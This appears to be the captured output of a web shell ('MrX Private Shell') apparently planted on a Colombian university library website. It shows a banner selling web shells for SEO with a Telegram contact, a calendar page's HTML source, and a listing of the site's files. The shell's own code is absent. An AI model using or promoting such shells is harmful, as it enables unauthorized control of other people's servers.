__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Calendario Marzo 2024</title>
<style>
body {
background-color: #f5f5f5;
font-family: Arial, sans-serif;
}
.calendario {
width: 300px;
margin: auto;
text-align: center;
background-color: #525252; /* Gris más oscuro */
color: #fff; /* Texto blanco */
border-radius: 10px;
padding: 20px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); /* Sombra suave */
}
.mes {
font-size: 20px;
font-weight: bold;
margin-bottom: 10px;
}
table {
width: 100%;
}
th, td {
padding: 10px;
border: 1px solid #ccc;
}
th {
background-color: #666; /* Gris más claro */
}
td {
background-color: #4169E1; /* Azul metalizado */
color: #fff; /* Texto blanco */
}
.sabado, .domingo {
background-color: #ffd700; /* Amarillo */
}
.nota {
color: blue;
cursor: pointer;
text-decoration: underline;
}
.selected-day {
background-color: #fff;
border: 1px solid #999;
padding: 10px;
margin-top: 10px;
border-radius: 10px;
box-shadow: 0 0 5px rgba(0, 0, 0, 0.2); /* Sombra suave */
color: #000; /* Texto negro */
}
.informacion {
color: #ff0000; /* Texto rojo */
font-weight: bold;
}
</style>
</head>
<body>
<div class="calendario">
<div class="mes">Marzo 2024</div>
<table>
<thead>
<tr>
<th>Lun</th>
<th>Mar</th>
<th>Mie</th>
<th>Jue</th>
<th>Vie</th>
<th class="sabado">Sab</th>
<th class="domingo">Dom</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td onclick="showInfo('1')">1</td>
<td class="sabado" onclick="showInfo('2')">2</td>
<td class="domingo" onclick="showInfo('3')">3</td>
</tr>
<tr>
<td onclick="showInfo('4')">4</td>
<td onclick="showInfo('5')">5</td>
<td onclick="showInfo('6')">6</td>
<td onclick="showInfo('7')">7</td>
<td onclick="showInfo('8')" class="informacion">8</td>
<td class="sabado" onclick="showInfo('9')">9</td>
<td class="domingo" onclick="showInfo('10')">10</td>
</tr>
<tr>
<td onclick="showInfo('11')">11</td>
<td onclick="showInfo('12')" class="informacion">12</td>
<td onclick="showInfo('13')">13</td>
<td onclick="showInfo('14')">14</td>
<td onclick="showInfo('15')">15</td>
<td class="sabado" onclick="showInfo('16')">16</td>
<td class="domingo" onclick="showInfo('17')">17</td>
</tr>
<!-- Continuar con el resto de los días -->
</tbody>
</table>
</div>
<div id="anotaciones" class="selected-day"></div>
<script>
var notas = {
"1": ["Anotación 1", "Anotación 2", "Anotación 3"],
"2": ["Anotación 4", "Anotación 5", "Anotación 6"],
"3": ["Anotación 7", "Anotación 8", "Anotación 9"],
"4": ["Anotación 10", "Anotación 11", "Anotación 12"],
"5": ["Anotación 13", "Anotación 14", "Anotación 15"],
"6": ["Anotación 16", "Anotación 17", "Anotación 18"],
"7": ["Anotación 19", "Anotación 20", "Anotación 21"],
"8": ["Anotación 22", "Anotación 23", "Anotación 24"],
"9": ["Anotación 25", "Anotación 26", "Anotación 27"],
"10": ["Anotación 28", "Anotación 29", "Anotación 30"],
"11": ["Anotación 31", "Anotación 32", "Anotación 33"],
"12": ["¿Cómo y donde publicar un artículo de alto impacto? <a href='https://clarivatewebinars.webex.com/weblink/register/rbb6e30776949c131316388cf3c29e7e9'>link de registro</a><br>Scopus <a href='https://biblioteca.unillanos.edu.co'>link de registro</a>"],
// Continuar con el resto de los días
};
function showInfo(day) {
var notasDelDia = notas[day];
if (notasDelDia) {
document.getElementById('anotaciones').innerHTML = notasDelDia.join('<br>');
} else {
document.getElementById('anotaciones').innerHTML = 'No hay anotaciones para este día.';
}
}
</script>
</body>
</html>
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Videos | Folder | 0775 |
|
|
| css | Folder | 0775 |
|
|
| files | Folder | 0775 |
|
|
| fonts | Folder | 0775 |
|
|
| images | Folder | 0775 |
|
|
| js | Folder | 0775 |
|
|
| Folder | 0775 |
|
||
| pruebas | Folder | 0775 |
|
|
| scripts | Folder | 0775 |
|
|
| Demos.html | File | 21.75 KB | 0664 |
|
| Informacionimportante.jpg | File | 291.93 KB | 0664 |
|
| LibrosVenta.html | File | 4.8 KB | 0664 |
|
| animate.min.css | File | 67.78 KB | 0664 |
|
| basesdedatos.html | File | 7.93 KB | 0664 |
|
| calendarioformacion.html | File | 5.27 KB | 0664 |
|
| capacitacion.html | File | 7.88 KB | 0664 |
|
| contador_mejorado.txt | File | 6 B | 0664 |
|
| desktop.ini | File | 246 B | 0664 |
|
| ebscohostflyer.html | File | 7.13 KB | 0664 |
|
| facultadcienciasagro.html | File | 21.44 KB | 0664 |
|
| facultadcienciasbasicas.html | File | 18.31 KB | 0664 |
|
| facultadcienciasecomicas.html | File | 21.01 KB | 0664 |
|
| facultadcienciashumanas.html | File | 20.23 KB | 0664 |
|
| facultadcienciassalud.html | File | 21.7 KB | 0664 |
|
| horarios.html | File | 11.43 KB | 0664 |
|
| imgslider-min.js | File | 17.19 KB | 0664 |
|
| imgslider.js | File | 1.95 KB | 0664 |
|
| index.html | File | 18.77 KB | 0664 |
|
| informacion.html | File | 8.09 KB | 0664 |
|
| justificacion.html | File | 10.45 KB | 0664 |
|
| libroselectronicos.html | File | 10.98 KB | 0664 |
|
| mijs.js | File | 299 B | 0664 |
|
| mision.html | File | 8.21 KB | 0664 |
|
| nieve.js | File | 3.89 KB | 0664 |
|
| oo.txt | File | 2 B | 0664 |
|
| preguntas.html | File | 17.82 KB | 0664 |
|
| proquestflyer.html | File | 7.03 KB | 0664 |
|
| quienes.html | File | 9.16 KB | 0664 |
|
| recursos.html | File | 10.63 KB | 0664 |
|
| resena.html | File | 10.35 KB | 0664 |
|
| script.js | File | 2.01 KB | 0664 |
|
| snow3.gif | File | 425 B | 0664 |
|
| style.css | File | 75.21 KB | 0664 |
|
| tutoriales.php | File | 12.75 KB | 0664 |
|
| vision.html | File | 8.95 KB | 0664 |
|
